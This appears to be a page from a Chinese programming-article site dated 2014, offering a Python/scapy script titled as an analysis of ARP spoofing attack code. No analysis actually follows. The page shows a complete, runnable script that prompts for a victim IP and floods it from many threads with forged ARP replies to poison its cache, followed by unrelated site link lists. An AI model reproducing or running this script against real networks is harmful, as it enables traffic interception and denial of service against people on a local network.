python发送arp欺骗攻击代码分析


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,Lock,activeCount
BROADCASTMAC = getmacbyip('192.168.0.120')
class Loop(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        global BROADCASTMAC
        arp = ARP()
        arp.psrc = '192.168.0.251'
        arp.hwsrc = BROADCASTMAC
        arp.pdst = self.ip
        arp.op = 2
        sr1(arp,verbose = 0,retry = 0,timeout = 3)
class Main(Thread):
    def __init__(self,ip):
        Thread.__init__(self)
        self.ip = ip
    def run(self):
        limit = 100
        total = 0
        while True:
            if activeCount() < limit:
                Loop(self.ip).start()
                total = total + 1
            print '目前已进行了ARP攻击的次数为:'+str(total)
if __name__ == '__main__':
    ip = raw_input('请输入要进行ARP攻击的机器IP:')
    Main(ip = ip).start()
Python 相关文章推荐
深入理解NumPy简明教程---数组1
Dec 17 Python
Python编程使用*解包和itertools.product()求笛卡尔积的方法
Dec 18 Python
解决python3 安装完Pycurl在import pycurl时报错的问题
Oct 15 Python
Python编程在flask中模拟进行Restful的CRUD操作
Dec 28 Python
python3使用matplotlib绘制散点图
Mar 19 Python
python使用paramiko模块通过ssh2协议对交换机进行配置的方法
Jul 25 Python
Python进程间通信 multiProcessing Queue队列实现详解
Sep 23 Python
python操作docx写入内容,并控制文本的字体颜色
Feb 13 Python
零基础小白多久能学会python
Jun 22 Python
Python实现socket库网络通信套接字
Jun 04 Python
python如何利用traceback获取详细的异常信息
Jun 05 Python
Python编写车票订购系统 Python实现快递收费系统
Aug 14 Python
分析python服务器拒绝服务攻击代码
Jan 16 #Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
You might like
php图片加水印原理(超简单的实例代码)
2013/01/18 PHP
PHP中is_file不能替代file_exists的理由
2014/03/04 PHP
ThinkPHP实现批量删除数据的代码实例
2014/07/02 PHP
php中magic_quotes_gpc对unserialize的影响分析
2014/12/16 PHP
php fread读取文件注意事项
2016/09/24 PHP
javascript权威指南 学习笔记之变量作用域分享
2011/09/28 Javascript
javascript处理表单示例(javascript提交表单)
2014/04/28 Javascript
js实现图片漂浮效果的方法
2015/03/02 Javascript
JS日程管理插件FullCalendar中文说明文档
2017/02/06 Javascript
原生js实现密码强度验证功能
2020/03/18 Javascript
如何在selenium中使用js实现定位
2020/08/18 Javascript
javascript canvas封装动态时钟
2020/09/30 Javascript
[00:39]DOTA2上海特级锦标赛 Liquid战队宣传片
2016/03/04 DOTA
[01:07:53]RNG vs VG 2019国际邀请赛小组赛 BO2 第一场 8.15
2019/08/17 DOTA
[01:00] DOTA2英雄背景故事第五期之重力引力法则谜团
2020/07/16 DOTA
python关闭windows进程的方法
2015/04/18 Python
python中的全局变量用法分析
2015/06/09 Python
pandas中apply和transform方法的性能比较及区别介绍
2018/10/30 Python
解决pycharm 远程调试 上传 helpers 卡住的问题
2019/06/27 Python
Python搭建代理IP池实现获取IP的方法
2019/10/27 Python
python实现信号时域统计特征提取代码
2020/02/26 Python
python属于解释型语言么
2020/06/15 Python
基于CSS3实现的漂亮Menu菜单效果代码
2015/09/10 HTML / CSS
家用个人磨皮机:Trophy Skin
2017/03/30 全球购物
斯洛伐克最大的婴儿食品和用品网上商店:Feedo.sk
2020/12/21 全球购物
企业管理培训感言
2014/01/27 职场文书
学校学雷锋活动总结
2014/06/26 职场文书
技术入股合作协议书
2014/10/07 职场文书
2014年综合治理工作总结
2014/11/20 职场文书
社区文明倡议书
2015/04/28 职场文书
解约证明模板
2015/06/19 职场文书
高一军训感想
2015/08/07 职场文书
Python的flask接收前台的ajax的post数据和get数据的方法
2021/04/12 Python
MySQL数据库Innodb 引擎实现mvcc锁
2022/05/06 MySQL
Python中tqdm的使用和例子
2022/09/23 Python
css清除浮动clearfix:after的用法详解(附完整代码)
2023/05/21 HTML / CSS